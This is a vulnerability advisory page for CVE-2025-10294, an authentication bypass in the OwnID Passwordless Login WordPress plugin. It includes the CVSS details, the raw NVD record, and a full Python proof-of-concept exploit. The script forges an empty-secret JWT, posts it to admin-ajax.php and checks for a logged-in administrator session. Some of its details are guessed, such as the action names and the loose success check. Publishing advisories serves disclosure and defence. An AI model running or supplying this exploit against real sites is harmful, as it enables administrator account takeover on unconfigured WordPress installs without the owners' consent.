Security Vulnerability Report
中文
CVE-2025-10294 CVSS 9.8 CRITICAL

CVE-2025-10294

Published: 2025-10-15 09:15:39
Last Modified: 2026-04-15 00:35:42

Description

The OwnID Passwordless Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.3.4. This is due to the plugin not properly checking if the ownid_shared_secret value is empty prior to authenticating a user via JWT. This makes it possible for unauthenticated attackers to log in as other users, including administrators, on instances where the plugin has not been fully configured yet.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OwnID Passwordless Login <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-10294 - OwnID Passwordless Login Authentication Bypass PoC # Exploits missing empty check on ownid_shared_secret before JWT verification import requests import jwt # PyJWT library import sys import re TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" TARGET_USER_ID = sys.argv[2] if len(sys.argv) > 2 else "1" # Default: admin (ID=1) def exploit_auth_bypass(target_url, user_id): """ Exploit authentication bypass by forging JWT with empty shared secret. The OwnID plugin fails to validate that ownid_shared_secret is non-empty before using it to verify JWT signatures. """ session = requests.Session() # Step 1: Trigger OwnID login flow to obtain the endpoint # The plugin typically exposes an AJAX endpoint for JWT verification ownid_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Forge JWT token with empty secret key # Since ownid_shared_secret is empty, we sign with empty string payload = { "sub": user_id, # Subject: target user ID (e.g., 1 for admin) "email": "[email protected]", # Optional email claim "name": "Administrator", "iat": 0, # Issued at (epoch) "exp": 9999999999 # Expiration (far future) } # Sign with EMPTY string as the secret - this is the key to the exploit forged_token = jwt.encode(payload, "", algorithm="HS256") print(f"[*] Forged JWT token: {forged_token}") # Step 3: Submit forged token to OwnID verification endpoint # The action parameter varies by plugin version; common actions include: # 'ownid_verify_jwt', 'ownid_login', or similar data = { "action": "ownid_verify_jwt", "jwt": forged_token, "ownid_token": forged_token } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = session.post(ownid_endpoint, data=data, headers=headers) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") # Step 4: Check if authentication succeeded (look for wordpress_logged_in cookie) if "wordpress_logged_in" in str(session.cookies) or response.status_code == 200: print("[+] SUCCESS! Authentication bypass achieved!") print(f"[+] Session cookies: {dict(session.cookies)}") # Step 5: Verify access to WordPress admin admin_url = f"{target_url}/wp-admin/" admin_response = session.get(admin_url, headers=headers) if "Dashboard" in admin_response.text or "wp-admin" in admin_response.url: print("[+] CONFIRMED: Logged in as administrator!") return True else: print("[-] Exploit failed. Target may be patched or not vulnerable.") return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Target user ID: {TARGET_USER_ID}") exploit_auth_bypass(TARGET_URL, TARGET_USER_ID)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10294", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:39.043", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OwnID Passwordless Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.3.4. This is due to the plugin not properly checking if the ownid_shared_secret value is empty prior to authenticating a user via JWT. This makes it possible for unauthenticated attackers to log in as other users, including administrators, on instances where the plugin has not been fully configured yet."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://wordpress.org/plugins/ownid-passwordless-login/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b8dd6008-e9b8-4a87-b1c7-0dc272850cbd?source=cve", "source": "[email protected]"}]}}